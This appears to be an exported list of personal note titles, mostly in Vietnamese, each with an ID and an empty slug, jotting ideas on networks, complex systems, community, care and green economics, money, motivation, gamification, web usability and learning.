+• ID: AN +Cộng đồng bao gồm những người có cùng tầm nhin. Hệ sinh thái thì không +• Slug: undefined +• ID: AO +Giá trị của một mạng lưới điện thoại tỉ lệ với bình phương số thành viên của nó +• Slug: undefined +• ID: AP +Hiệu ứng mạng là hiệu ứng mà mỗi một người dùng gia nhập vào mạng lưới sẽ tạo thêm giá trị và cải thiện chất lượng cho cả mạng lưới đó +• Slug: undefined +• ID: AQ +Hệ phức hợp +• Slug: undefined +• ID: AR +Khả năng tạo ra được sự bền vững nằm ở việc có thấy được siêu vật hay không +• Slug: undefined +• ID: AS +Muốn phát triển thì vào vòng lặp dương. Muốn bền vững thì vào vòng lặp âm +• Slug: undefined +• ID: AT +Mọi thứ luôn nằm ở chỗ cuối cùng bạn tìm thấy nó +• Slug: undefined +• ID: AU +Một số người xem việc kết quả phụ thuộc vào xác suất là bất định, kể cả khi mình biết xác suất đó là gì. Một số người xem việc đó là tất định +• Slug: undefined +• ID: AV +Nhiều thứ ta thấy là bất định thực ra là vì không có thời gian để xác định quy luật hoặc kiểm nghiệm giả thiết +• Slug: undefined +• ID: AW +Những hệ tập trung thì có ưu điểm là dễ quản lý và vận hành hiệu quả trong thời gian ngắn, nhưng nếu bị tấn công một cách có chiến lược thì dễ chết +• Slug: undefined +• ID: AX +Việc hướng đến sự ngăn nắp là đang hướng đến việc tạo ra một thế giới trong đầu +• Slug: undefined +• ID: AY +Ý tưởng về rhizome khác với tư duy phi tuyến và hệ phức hợp ở chỗ nó đi tới được các khái niệm như bản đồ và cao nguyên +• Slug: undefined +• ID: AZ +❓Hệ thống phân cấp đã có từ thời linh trưởng, chứ không cần phải tới thời Aristotle +• Slug: undefined +• ID: Aa +Rủi ro mang ý nghĩa mất mát, nhưng nhiều khi nó chỉ là không được sự tối ưu nhưng vẫn được thêm +• Slug: undefined +• ID: Ab +Sự hấp dẫn về hệ thống phân cấp đã ăn sâu vào tiềm thức của ta, mặc dù bộ não phát triển theo hướng rhizome +• Slug: undefined +• ID: Ac +Sự tự tổ chức là không tránh khỏi nhưng không dự báo trước được +• Slug: undefined +• ID: Ad +Sự tự tổ chức sự tạo mẫu hình một cách phi tuyến +• Slug: undefined +• ID: Ae +Sự đáp ứng đòi hỏi ta nhận diện được rằng ta không thể hoàn toàn biết được tương lai của mình +• Slug: undefined +• ID: Af +Ta thường cẩn thận với những quyết định một lần +• Slug: undefined +• ID: Ag +Trí tuệ đám đông được sinh ra từ sự đa dạng và độc lập của những cá nhân +• Slug: undefined +• ID: Ah +Vòng lặp dương giúp củng cố tình trạng hiện tại, tránh sự tác động từ bên ngoài, tự bảo tồn chính nó +• Slug: undefined +• ID: Ai +Độ tác động của quyết định, độ có sẵn của thông tin, trạng thái của môi trường là một trong nhiều thứ bất định +• Slug: undefined +• ID: Aj +❓Mối quan hệ giữa hệ phức hợp và siêu vật là gì +• Slug: undefined +• ID: Ak +Con người dường như được thiết kế để thể hiện ý định qua cảm xúc hơn là lời nói +• Slug: undefined +• ID: Al +Hệ sinh thái là vùng đất +• Slug: undefined +• ID: Am +Khi được hỏi về các rào cản làm cản trở mối quan hệ đối tác, phía doanh nghiệp chủ yếu nói về việc thiếu năng lực, còn phía các tổ chức xã hội chủ yếu nói về việc không cùng hướng đi +• Slug: undefined +• ID: An +Một hệ sinh thái không hoạt động bằng cách đặt câu hỏi, mà bằng cách không cần hỏi cũng biết câu trả lời là gì +• Slug: undefined +• ID: Ao +Chưa thấy có dự án nào nói về việc làm giảm tải gánh nặng công việc cho người bên cạnh mình +• Slug: undefined +• ID: Ap +Các dự án xã hội không tập trung vào việc đối thoại với người bên cạnh mình +• Slug: undefined +• ID: Aq +Ngay cả ở các tổ chức xã hội cũng có khoảng cách giàu nghèo lớn +• Slug: undefined +• ID: Ar +Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0 +• Slug: undefined +• ID: As +Để tham gia vào một hệ sinh thái đòi hỏi người tham gia phải nắm được thuật ngữ +• Slug: undefined +• ID: At +❓Có cách nào để đánh giá giá trị networking của một chương trình trước khi tham gia không? +• Slug: undefined +• ID: Au +❓Động lực làm việc không liên quan đến sự khuếch tán trách nhiệm +• Slug: undefined +• ID: Av +Các cách xác định sản phẩm đã phù hợp thị trường hay chưa +• Slug: undefined +• ID: Aw +Các dạng cộng đồng +• Slug: undefined +• ID: Ax +Cách phân tích các loại khách hàng +• Slug: undefined +• ID: Ay +Có những người không muốn được hỏi mình muốn gì mà chỉ muốn được quyết định giúp +• Slug: undefined +• ID: Az +Cảm giác khó chịu khi bị quảng cáo quá đà +• Slug: undefined +• ID: A- +Cộng đồng của dự án khác với cộng đồng của xã hội +• Slug: undefined +• ID: A_ +Cộng đồng là những người có cùng niềm tin +• Slug: undefined +• ID: B0 +Cộng đồng trên Facebook là cộng đồng của Facebook +• Slug: undefined +• ID: B1 +Cộng đồng từ chưa tỉnh thức đến tỉnh thức ít nhất cũng 2 năm +• Slug: undefined +• ID: B2 +Các buổi cà phê bạn bè chủ yếu là thu hút người chưa biết về dự án thông qua cá tính của mình +• Slug: undefined +• ID: B3 +Các buổi cà phê thường phải theo nhu cầu tán chuyện của mọi người +• Slug: undefined +• ID: B4 +Các buổi hội thảo +• Slug: undefined +• ID: B5 +Việc gặp người mới sẽ phải thường xuyên kể về động lực làm dự án mình hoài +• Slug: undefined +• ID: B6 +Nhiều người muốn hỏi ý kiến của người sáng lập nhưng không hỏi trong cộng đồng chung mà chỉ muốn nhắn riêng +• Slug: undefined +• ID: B7 +Nhóm kín trên Facebook không nhất thiết là cộng đồng riêng +• Slug: undefined +• ID: B8 +Nội dung thiên về lý tính có nhiều tương tác chủ động. Nội dung thiên về cảm tính có nhiều tương tác thụ động +• Slug: undefined +• ID: B9 +Phân loại khách hàng tốt nhất là phân loại bằng niềm tin +• Slug: undefined +• ID: BA +Quảng cáo trên Internet khác hẳn quảng cáo trên các phương tiện ở chỗ người tiêu dùng có thể tương tác với quảng cáo +• Slug: undefined +• ID: BB +Việc có được khách hàng mới có thể tốn kém hơn từ 5 đến 25 lần so với việc giữ chân một khách hàng hiện có +• Slug: undefined +• ID: BC +Đàm phán là tạo ra giá trị, chứ không phải chia đôi lợi ích +• Slug: undefined +• ID: BD +❓Học tập cùng cộng đồng khác gì với thực tập +• Slug: undefined +• ID: BE +❓Khách hàng sẽ nhớ đến mình nếu như mình có thể tạo được satisfaction of emotion, nhưng họ chỉ làm tnv hoặc góp tiền cho mình khi họ cần đảm bảo một cái gì đấy +• Slug: undefined +• ID: BF +❓Làm sao để biết người thụ hưởng sẽ tiếp tục dựa dẫm hay sẽ có động lực thay đổi +• Slug: undefined +• ID: BG +❓Một người khen là bài rất hay thì nó có nghĩa gì +• Slug: undefined +• ID: BH +❓Tìm sự bàn tán trước hay chuẩn bị cho sự bàn tán trước +• Slug: undefined +• ID: BI +❓Tỉ lệ hài lòng trên share là bao nhiêu +• Slug: undefined +• ID: BJ +❓Việc diễn giả lên nói mà không tìm hiểu trước nhu cầu người tham dự có đúng tinh thần SL hay không +• Slug: undefined +• ID: BK +Chúng ta có cảm xúc cổ đại, thiết chế thời trung đại và công nghệ của chúa +• Slug: undefined +• ID: BL +Công nghệ vừa làm tăng sự phức tạp của vấn đề, vừa làm giảm khả năng hiểu được vấn đề của chúng ta +• Slug: undefined +• ID: BM +ESG +• Slug: undefined +• ID: BN +Cho mượn theo nhóm đảm bảo hơn +• Slug: undefined +• ID: BO +Cho vay ngang hàng +• Slug: undefined +• ID: BP +Con số cho tiền cho thiện nguyện dựa trên cộng đồng không tăng lên dù có rất nhiều nền tảng +• Slug: undefined +• ID: BQ +Kể cả khi AI có thể làm mất việc, thì những ngành khác cũng sẽ tạo ra nhiều loại việc khác +• Slug: undefined +• ID: BR +Mọi người vẫn nghĩ công nghệ mới là AI, nhưng nó chỉ là một công nghệ trong rất nhiều các loại công nghệ mới khác +• Slug: undefined +• ID: BS +Năm 1990 UNDP gắn phát triển vào phát triển con người +• Slug: undefined +• ID: BT +Nếu bạn thấy được ý nghĩa trong công việc bạn làm thì bạn sẽ không lo lắng về người dùng chùa +• Slug: undefined +• ID: BU +Chưa có một lý thuyết chắc chắn nào về nền kinh tế chăm sóc +• Slug: undefined +• ID: BV +Các công việc nấu nướng, dọn dẹp, chăm sóc trẻ em, người già và người bệnh tại gia đình thường được hiểu là công việc chăm sóc không lương +• Slug: undefined +• ID: BW +Công việc chăm sóc không lương thường vô hình trong các chính sách và ngân sách bởi vì nó không nằm trong định nghĩa và đo lường theo cách truyền thống của nền kinh tế +• Slug: undefined +• ID: BX +Công việc chăm sóc không lương được gán cho là không có giá trị về kinh tế bất chấp một thực tế về những đóng góp to lớn của công việc này cho nền kinh tế và xã hội +• Slug: undefined +• ID: BY +Nhiều thảo luận về nền kinh tế chăm sóc chỉ nói đến lợi nhuận tiềm năng của nó, chứ không để ý vào các bất bình đẳng xã hội từ việc thiếu để ý và quan tâm đến các công việc chăm sóc +• Slug: undefined +• ID: BZ +Nền kinh tế chăm sóc +• Slug: undefined +• ID: Ba +Sự khác biệt giữa nền kinh tế chăm sóc và các ngành dịch vụ là nó tập trung vào người yếu thế, và hệ thống hoá các khái niệm +• Slug: undefined +• ID: Bb +Tính trung bình, phụ nữ làm công việc chăm sóc không được trả lương nhiều hơn ít nhất hai lần rưỡi so với nam giới +• Slug: undefined +• ID: Bc +Với sự phát triển của AI, các ngành về chăm sóc sẽ trở thành lợi thế +• Slug: undefined +• ID: Bd +Nền kinh tế hậu khan hiếm +• Slug: undefined +• ID: Be +Nền kinh tế không dùng tiền +• Slug: undefined +• ID: Bf +Nền kinh tế phi chính thức bao gồm các hoạt động kinh tế không có đăng ký về mặt pháp lý, không có số liệu thống kê và không được kiểm soát bởi nhà nước +• Slug: undefined +• ID: Bg +Kinh tế số là kinh tế dữ liệu (data-driven economy) +• Slug: undefined +• ID: Bh +Ngân hàng trung ương quản lý được digital currency, nhưng không phải crypto +• Slug: undefined +• ID: Bi +Sự khác nhau giữa công nghệ thông tin và chuyển đổi số +• Slug: undefined +• ID: Bj +Tài chính phi tập trung +• Slug: undefined +• ID: Bk +❓Quyền riêng tư có phải là bất lợi với các doanh nghiệp nhỏ vì họ không có dữ liệu khách hàng, nhưng lại là lợi thế của doanh nghiệp lớn để họ độc quyền khai thác khách hàng đó? +• Slug: undefined +• ID: Bl +Chi phí chuyển đổi sang năng lượng xanh không đơn giản +• Slug: undefined +• ID: Bm +Các thảo luận về nền kinh tế xanh ít đề cập đến việc giảm tải áp lực cho mọi người +• Slug: undefined +• ID: Bn +Dần dần khái niệm kinh tế xanh được đánh đồng với tăng trưởng xanh +• Slug: undefined +• ID: Bo +Nền kinh tế xanh +• Slug: undefined +• ID: Bp +Rác thải nhựa từ một toà nhà vào buổi trưa là khổng lồ +• Slug: undefined +• ID: Bq +Để bắt kịp những công nghệ mới, thường 2 năm rà soát lại một lần +• Slug: undefined +• ID: Br +The non-monetary economy, typically embedded in a monetary economy, undertakes tasks that benefit society (whether through producing services, products, or making investments) that the monetary economy does not value +• Slug: undefined +• ID: Bs +Tỉ lệ mua khi có ủng hộ giảm tăng vì người mua không muốn mình bị đánh giá là đứa tồi. Nhưng những người trả tiền trả nhiều tiền hơn hẳn +• Slug: undefined +• ID: Bt +Xu thế kinh tế mới +• Slug: undefined +• ID: Bu +Đi cùng với khái niệm bền vững là khan hiếm +• Slug: undefined +• ID: Bv +Chúng ta cần có tiền, nhưng không cần giàu có +• Slug: undefined +• ID: Bw +Chỉ khi có sự trao đổi thì giá cả mới xuất hiện +• Slug: undefined +• ID: Bx +Con người không giả định miễn phí là kém chất lượng với sản phẩm số +• Slug: undefined +• ID: By +Các từ ngữ do chủ nghĩa tân tự do sử dụng thường có tính che giấu nhiều hơn là được làm sáng tỏ +• Slug: undefined +• ID: Bz +Giá cao làm tăng kỳ vọng, nhưng không làm thay đổi cảm nhận về chất lượng +• Slug: undefined +• ID: B- +Một công ty không có sản phẩm tốt nhưng tiếp thị tốt sẽ khiến người dùng không biết về sản phẩm tốt hơn +• Slug: undefined +• ID: B_ +Những gì “thị trường muốn” có xu hướng đồng nghĩa với những gì các doanh nghiệp và ông chủ của nó muốn +• Slug: undefined +• ID: C0 +Những sản phẩm quá mới mẻ khó theo hình thức trả giá tuỳ tâm được, vì người mua không có cách nào để đoán giá +• Slug: undefined +• ID: C1 +Những tài nguyên vô hạn sẽ làm những tài nguyên không vô hạn đi kèm với nó trở nên khan hiếm hơn +• Slug: undefined +• ID: C2 +Nền kinh tế thị trường khác với xã hội thị trường +• Slug: undefined +• ID: C3 +Sự hấp dẫn của tư duy thị trường ở chỗ nó không phán xét +• Slug: undefined +• ID: C4 +Thị trường không chỉ phân bố hàng hoá mà còn bộc lộ, khuyến khích con người có những thái độ nhất định với các loại hàng hoá +• Slug: undefined +• ID: C5 +Thị trường không định giá. Ta mới là người định giá +• Slug: undefined +• ID: C6 +Đôi khi, giá trị thị trường lấn át những giá trị phi thị trường đáng quan tâm +• Slug: undefined +• ID: C7 +Độc quyền, ngoại tác, hàng hoá công, thông tin bất cân xứng, mất cân bằng vĩ mô là các thất bại của thị trường +• Slug: undefined +• ID: C8 +❓Miễn phí, trả tuỳ tâm, tự định giá sức lao động +• Slug: undefined +• ID: C9 +❓Truyền miệng là cách duy nhất để sản phẩm thực sự tốt hơn chiến thắng trên thị trường +• Slug: undefined +• ID: CA +Cảm giác mất mát là cảm giác tiêu cực +• Slug: undefined +• ID: CB +Cảm giác đáp ứng nhu cầu người khác là cảm giác tích cực +• Slug: undefined +• ID: CC +Kinh tế học hành vi chủ yếu ứng dụng thiên kiến và suy luận tắt của con người vào kinh tế học, chứ chưa phải là toàn bộ tâm lý con người +• Slug: undefined +• ID: CD +Nhu cầu rõ ràng về tiền làm nhức đầu tất cả các bên +• Slug: undefined +• ID: CE +Ta muốn cái được phải chắc chắn, trong khi cái mất ta có thể mạo hiểm +• Slug: undefined +• ID: CF +Tiền có nhiệm vụ làm trung gian cho việc trao đổi nhu cầu +• Slug: undefined +• ID: CG +Tiền là một động lực ngoại sinh cực kỳ tốt +• Slug: undefined +• ID: CH +Tiền làm người sở hữu tưởng rằng mình độc lập +• Slug: undefined +• ID: CI +Tiền làm thay đổi mối quan hệ từ việc đáp ứng nhu cầu lẫn nhau sang trao đổi hàng hoá +• Slug: undefined +• ID: CJ +Tiền tạo cảm giác phải cạnh tranh để có tài nguyên hơn là hợp tác để có nhiều tài nguyên hơn +• Slug: undefined +• ID: CK +Tiền tạo ra những cam kết phải đáp ứng mà nhiều khi mình không còn nhu cầu nữa +• Slug: undefined +• ID: CL +Tiền đơn giản hoá quá trình đáp ứng nhu cầu +• Slug: undefined +• ID: CM +Tiền được lưu ở dạng vật chất, nhưng nhu cầu là một trạng thái tinh thần +• Slug: undefined +• ID: CN +Từ khi có tiền, chúng ta mới có sự cạnh tranh để đáp ứng nhu cầu người khác +• Slug: undefined +• ID: CO +Việc bán hàng và việc đáp ứng nhu cầu người dùng không nhất thiết phải đi cùng với nhau +• Slug: undefined +• ID: CP +Việc chia cổ phần làm ta chỉ còn chú ý vào động lực ngoại sinh +• Slug: undefined +• ID: CQ +Việc mất tiền làm tâm lý con người bị đau dù có thể nó vô lý +• Slug: undefined +• ID: CR +❓Việc được tự định giá sức lao động của mình khiến người lao động cảm thấy công sức mình được công nhận xứng đáng +• Slug: undefined +• ID: CS +Bảo hộ thương mại +• Slug: undefined +• ID: CT +Cái được đem ra toàn cầu hoá là luật +• Slug: undefined +• ID: CU +GDP của VN tăng trưởng rất nhanh +• Slug: undefined +• ID: CV +Nói về hội nhập kinh tế của Việt Nam có thể rất ngắn, chỉ cần 2 slide +• Slug: undefined +• ID: CW +Phi toàn cầu hoá là khi người ta không quan tâm đến luật nữa +• Slug: undefined +• ID: CX +Tỉ lệ sử dụng tiền mặt ở VN khoảng 12% +• Slug: undefined +• ID: CY +Chiến tranh tiền tệ là một khái niệm không khoa học +• Slug: undefined +• ID: CZ +Các giáo trình kinh tế hiện nay tập trung vào các mô hình toán học chứ không phải là hành vi con người +• Slug: undefined +• ID: Ca +Công việc thay đổi là vì những người xung quanh thay đổi, chứ không nhất thiết là vì có công nghệ mới +• Slug: undefined +• ID: Cb +Hệ thống tài phiệt nắm quyền qua các ngân hàng trung ương +• Slug: undefined +• ID: Cc +Lương nghĩa gốc là thức ăn +• Slug: undefined +• ID: Cd +Ngân hàng trung ương châu Âu nằm ở Đức +• Slug: undefined +• ID: Ce +Người Hy Lạp cổ duy trì chế độ nô lệ +• Slug: undefined +• ID: Cf +Người Hy Lạp cổ không tự hào về việc mình có việc làm +• Slug: undefined +• ID: Cg +Những người không cùng cộng đồng kinh tế thì đổi chác. Những người sống trong cùng một cộng đồng thì nhận nợ +• Slug: undefined +• ID: Ch +Nợ đã hiện hữu từ trước khi con người phát minh ra tiền bạc +• Slug: undefined +• ID: Ci +Thời nông nghiệp, người giàu là người có nhiều ruộng đất. Thời công nghiệp, người giàu là người có nhiều nhà máy +• Slug: undefined +• ID: Cj +Thời WW2 Thuỵ Sỹ trung lập được vì đó là nơi tích luỹ vàng của giới tài phiệt +• Slug: undefined +• ID: Ck +Trong một hợp đồng, không phải cái gì cũng mang tính chất hợp đồng +• Slug: undefined +• ID: Cl +Trong tiếng Anh, nghĩa gốc của amateur (nghiệp dư) là những người làm vì đam mê, chứ không phải là trình độ còn non +• Slug: undefined +• ID: Cm +Để xác định xem cái gì nên và không nên được mua bằng tiền, cần phải xác định được những giá trị nào chi phối các lĩnh vực khác nhau trong đời sống cá nhân và xã hội +• Slug: undefined +• ID: Cn +Chúng ta đi tìm hạnh phúc trên những máy chạy bộ +• Slug: undefined +• ID: Co +Cường độ của nhu cầu quyết định thứ tự ưu tiên của các giá trị +• Slug: undefined +• ID: Cp +Chuỗi kỹ năng mô tả những khoảnh khắc ý nghĩa xảy ra trong quá trình chơi trò chơi, chứ không chỉ là những cơ chế đơn thuần +• Slug: undefined +• ID: Cq +Chơi là sự thử nghiệm các kỹ năng mới học trong những môi trường mới +• Slug: undefined +• ID: Cr +Những game có yếu tố bản đồ mới là những game tạo thành một cộng đồng nhiều ý tưởng +• Slug: undefined +• ID: Cs +Những thứ lặp đi lặp lại có thể game hoá được +• Slug: undefined +• ID: Ct +Đa số các dự án game hoá chỉ tập trung vào cạnh tranh thi đua, chứ không tập trung vào bản đồ +• Slug: undefined +• ID: Cu +Người khác sẽ tham gia giúp đỡ khi họ thấy việc mình làm gần thoả mãn nhu cầu của họ +• Slug: undefined +• ID: Cv +Phản hồi và sự giúp đỡ trả lại là những thứ xa xỉ với người được giúp +• Slug: undefined +• ID: Cw +Sau khi nhu cầu được giải quyết xong ta sẽ nghĩ ngay tới việc giải quyết vấn đề tiếp theo +• Slug: undefined +• ID: Cx +Sự giúp đỡ người khác làm con người cảm thấy cuộc sống có ý nghĩa +• Slug: undefined +• ID: Cy +Sự hợp tác xã hội của ta hướng đến việc chia việc để cùng tạo ra sản phẩm chung, chứ không phải ở việc giúp đỡ qua lại +• Slug: undefined +• ID: Cz +Sự tập trung đòi hỏi người khác phải lo cho những nhu cầu khác của mình +• Slug: undefined +• ID: C- +Trong quá trình tập trung, sự chăm lo của người khác với những nhu cầu khác của mình sẽ trở nên vô hình và cần trở nên vô hình +• Slug: undefined +• ID: C_ +Việc giúp đỡ người đã giúp mình không đủ khẩn cấp hoặc nhiều cảm hứng bằng việc giải quyết vấn đề tiếp theo, hoặc đủ cảm hứng bằng việc cải tiến giải pháp hiện có +• Slug: undefined +• ID: D0 +Con người chuyển từ kỹ năng này sang kỹ năng khác ngay cả khi họ chỉ có một khái niệm mơ hồ về đích đến cuối cùng +• Slug: undefined +• ID: D1 +Con người phản ứng mãnh liệt nhất khi bị đụng đến điểm đau +• Slug: undefined +• ID: D2 +Con người sẽ theo đuổi kỹ năng mới với giá trị tiềm năng trong phạm vi dự đoán +• Slug: undefined +• ID: D3 +Dopamine is released in anticipation of a reward +• Slug: undefined +• ID: D4 +Một tổ chức đáng làm tạo ra được động lực nội sinh ở nhân viên +• Slug: undefined +• ID: D5 +Những nhiệm vụ thách thức làm nhiều người thấy thú vị hơn +• Slug: undefined +• ID: D6 +Những thứ khẩn cấp thường không phải là những thứ thú vị +• Slug: undefined +• ID: D7 +Phần thưởng ngoại sinh làm tăng sự tập trung vào đích đến và giảm sự quan sát tới những thứ khác +• Slug: undefined +• ID: D8 +Sự hứng thú tạo ra sự tập trung +• Slug: undefined +• ID: D9 +Thứ muốn làm bây giờ phụ thuộc vào cái mình đang nghĩ đến +• Slug: undefined +• ID: DA +Tình trạng thiếu sự phản hồi xảy ra thường xuyên, đến nỗi nhiều người không còn kỳ vọng vào việc mình sẽ nhận được sự phản hồi nữa +• Slug: undefined +• ID: DB +Việc mải mê làm việc đến quên cả đói cho thấy phần thưởng từ việc làm việc là đủ lớn hơn việc được ăn +• Slug: undefined +• ID: DC +Việc nghĩ ra ý tưởng tốt hơn làm ta muốn theo đuổi nó hơn là làm tiếp thứ hiện tại +• Slug: undefined +• ID: DD +Để tạo ra sự thú vị cần sự bất ngờ. Để tạo nên chuyên gia cần môi trường ổn định +• Slug: undefined +• ID: DE +❓Tại sao một công việc có ý nghĩa là không đủ để một người quyết định sẽ làm +• Slug: undefined +• ID: DF +Có những lúc đầu tư vào một người để họ tạo ra sản phẩm của họ sẽ đem lại nhiều lợi nhuận hơn trả lương cho họ để họ làm cho sản phẩm của mình +• Slug: undefined +• ID: DG +Môi trường chuyên nghiệp tạo cảm giác tội lỗi khi thư giãn +• Slug: undefined +• ID: DH +Sự chuyên nghiệp là việc ta tách bạch cuộc sống và công việc +• Slug: undefined +• ID: DI +Việc làm việc tại nhà sẽ cho nhiều khoảnh khắc loé sáng ý tưởng hơn +• Slug: undefined +• ID: DJ +Việc thay đổi mối quan hệ từ người làm chủ – nhân viên sang nhà đầu tư – người sáng lập phù hợp hơn với những công việc đòi hỏi sự sáng tạo +• Slug: undefined +• ID: DK +❓Tại sao tiền lại liên quan đến hệ thống cấp bậc +• Slug: undefined +• ID: DL +Một học giả chỉ là cách mà một cái thư viện tạo ra một cái thư viện khác +• Slug: undefined +• ID: DM +Thang đo năng lực dựa trên việc có thể đưa ra phân tích và trực giác đúng hay không +• Slug: undefined +• ID: DN +Tiền là cách để biến việc đáp ứng nhu cầu của người khác thành vấn đề cần giải quyết +• Slug: undefined +• ID: DO +Khi làm xong một việc hiệu quả hơn, ít khi nào ta dùng thời gian rảnh để chơi, mà sẽ kiếm thêm việc để làm +• Slug: undefined +• ID: DP +Những app quản lý công việc mang trong mình những giá trị văn hoá +• Slug: undefined +• ID: DQ +Những công việc chưa hoàn thành sẽ ám ảnh ta (hiệu ứng Zeigarnik) +• Slug: undefined +• ID: DR +Những tác giả của những app quản lý công việc cũng cảm thấy app của họ không thể giúp quản lý công việc một cách hiệu quả được +• Slug: undefined +• ID: DS +Nỗi ám ảnh với sự hiệu quả có thể đến từ nỗi sợ chết +• Slug: undefined +• ID: DT +Sự chuyên môn hoá khiến ta không được tự đáp ứng nhu cầu của mình mà phải đáp ứng nhu cầu người khác để họ đáp ứng nhu cầu của mình +• Slug: undefined +• ID: DU +Về mặt nhận thức, con người tương lai của chính mình không liên quan gì đến mình +• Slug: undefined +• ID: DV +Việc khai thác điểm yếu của con người đem lại lợi nhuận +• Slug: undefined +• ID: DW +A problem well stated is half solved +• Slug: undefined +• ID: DX +Bản đồ không phải là vùng đất +• Slug: undefined +• ID: DY +Chúng ta thường nhìn hiện tại và tương lai bằng những khái niệm học trong quá khứ +• Slug: undefined +• ID: DZ +Dữ liệu không phải thông tin, thông tin không phải kiến thức, kiến thức không phải hiểu biết, hiểu biết không phải thông thái +• Slug: undefined +• ID: Da +Giả định đến từ trực giác +• Slug: undefined +• ID: Db +Nhiều khi để trả lời được một câu hỏi ta phải tìm hiểu cả một lĩnh vực +• Slug: undefined +• ID: Dc +Những câu chuyện kể ra có quyền lực tạo thành thực tại +• Slug: undefined +• ID: Dd +Những niềm tin sai tạo ra một vùng chết các ý tưởng chưa được khám phá xung quanh nó +• Slug: undefined +• ID: De +Nếu muốn kiếm được ý tưởng mới với nhiều người, nơi dễ kiếm là xung quanh những niềm tin sai phổ biến +• Slug: undefined +• ID: Df +Có 4 loại phân loại +• Slug: undefined +• ID: Dg +Phân loại, dán nhãn, khai báo metadata là những cái tên khác nhau cho cùng một thứ +• Slug: undefined +• ID: Dh +Rhizome +• Slug: undefined +• ID: Di +Thứ làm tốt công việc của mình là thứ ta không nhận ra sự tồn tại của nó +• Slug: undefined +• ID: Dj +Hoán dụ giúp ta vẽ được những thứ trừu tượng +• Slug: undefined +• ID: Dk +Muốn nhìn thấy siêu vật thì cần phải có một hệ thống liên kết các vật thể +• Slug: undefined +• ID: Dl +Siêu vật là những vật mà ta khi ta chạm vào những vị trí khác nhau của nó thì không thấy sự liên quan giữa chúng, làm ta nghĩ chúng là những vật khác nhau +• Slug: undefined +• ID: Dm +Sử dụng nhiều ẩn dụ khác nhau sẽ cho ta thấy vật thể tốt hơn +• Slug: undefined +• ID: Dn +Ta mô phỏng thế giới qua những vật thể +• Slug: undefined +• ID: Do +Vùng đất thường là siêu vật +• Slug: undefined +• ID: Dp +Cứ 35 ngày thì ta lại có một trải nghiệm triệu lần mới có một +• Slug: undefined +• ID: Dq +Bản chất của việc hợp tác xã hội không nằm ở mỗi chuyện làm nhẹ gánh nặng của nhau, mà còn là chuyện sắp xếp làm sao để có thể đẩy gánh nặng sang cho nhau mà không ai cảm thấy áy náy +• Slug: undefined +• ID: Dr +Chi phí chuyển đổi giữa lập trình và nghiên cứu là lớn +• Slug: undefined +• ID: Ds +Con người dường như không được thiết kế để quá trình hỏi trở nên dễ dàng +• Slug: undefined +• ID: Dt +Có những câu hỏi ta rất muốn có câu trả lời nhưng mãi mà vẫn chưa đi google +• Slug: undefined +• ID: Du +Khi bị hỏi là sao không google, nói rằng có thể làm họ +• Slug: undefined +• ID: Dv +Khi khoảnh khắc loé sáng ý tưởng đến vào lúc ta đang tập trung làm việc khác, nó làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm +• Slug: undefined +• ID: Dw +Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm +• Slug: undefined +• ID: Dx +Nội việc đặt câu hỏi thôi đã đủ áp lực rồi, chứ đừng nói đến việc đi google hay đặt câu hỏi tốt hơn +• Slug: undefined +• ID: Dy +Sự tập trung làm ta không thấy được bức tranh tổng thể +• Slug: undefined +• ID: Dz +Vấn đề của việc đọc lướt không phải vì nó có khả năng thành công cao, mà là vì khi mình đã kết luận là khả năng thành công không cao rồi, thì sự chuyển trạng thái sang thực sự đọc cẩn thận không suôn sẻ và tự nhiên +• Slug: undefined +• ID: D- +Chúng ta không chọn phương án tối ưu khi chọn sai cũng chẳng hại gì +• Slug: undefined +• ID: D_ +Các tập quán chung giúp người dùng sử dụng web dễ dàng hơn, còn thôi thúc sáng tạo khỏi lối mòn đó là mãnh liệt +• Slug: undefined +• ID: E0 +Công việc làm slide ít khi nào được gộp vào trong công việc sản xuất nội dung +• Slug: undefined +• ID: E1 +Kể cả khi ta biết một trang web trả lời câu hỏi cho ta, thì việc đọc cũng nhức đầu +• Slug: undefined +• ID: E2 +Link gây xao nhãng +• Slug: undefined +• ID: E3 +Logo nên được thiết kế một cách độc lập với môi trường, vì nó sẽ được sử dụng ở bất kỳ môi trường nào +• Slug: undefined +• ID: E4 +Mental model là những niềm tin của người dùng vào hệ thống +• Slug: undefined +• ID: E5 +Một trang web giúp người dùng tới ngay được nơi họ cần đến làm họ cảm thấy mình có thêm tính tự chủ +• Slug: undefined +• ID: E6 +Người dùng bấm bao nhiêu lần cũng được, miễn là tự tin mình đang đi đúng hướng +• Slug: undefined +• ID: E7 +Người dùng dành nhiều thời gian ở website khác hơn website của bạn +• Slug: undefined +• ID: E8 +Slide nhiều chữ thì không hấp dẫn +• Slug: undefined +• ID: E9 +Trải nghiệm trên web giống như trải nghiệm đến một nơi xa lạ +• Slug: undefined +• ID: EA +Tính khả dụng liên quan đến con người và cách họ hiểu và sử dụng mọi thứ, chứ không phải liên quan đến công nghệ +• Slug: undefined +• ID: EB +Việc chất vấn quan điểm của mình dễ dàng hơn nhiều khi có ai đó nói ra sự chất vấn đó +• Slug: undefined +• ID: EC +Việc mò mẫm vui, đỡ phải nghĩ và thường là hiệu quả hơn là đọc hướng dẫn cẩn thận +• Slug: undefined +• ID: ED +Vì ta thường cần người khác cho ý kiến về suy nghĩ của ta, nên ta thường không cho được người khác ý kiến về suy nghĩ của họ +• Slug: undefined +• ID: EE +Chuyên nghiệp (professional) và chuyên gia (expertise) là hai vấn đề khác nhau +• Slug: undefined +• ID: EF +Chúng ta săn tìm và tích trữ thông tin giống như săn tìm và tích trữ lương thực +• Slug: undefined +• ID: EG +Hiểu biết không chỉ để mình làm một cái gì đó, mà còn để mình không làm một cái gì đó +• Slug: undefined +• ID: EH +Học là quá trình cấu trúc hoá những thứ phi cấu trúc +• Slug: undefined +• ID: EI +Khai vấn là để kích thích suy nghĩ, còn tư vấn là đưa ý kiến của mình +• Slug: undefined +• ID: EJ +Knowledge forms when we accumulate, mix, connect and visualize information +• Slug: undefined +• ID: EK +Lúc mới học thì cần chất lượng hơn là nhanh +• Slug: undefined +• ID: EL +Nghịch lý triển ngôn +• Slug: undefined +• ID: EM +Tư duy gặng xét (critical thinking) đòi hỏi ta phải bảo vệ những luận điểm ta 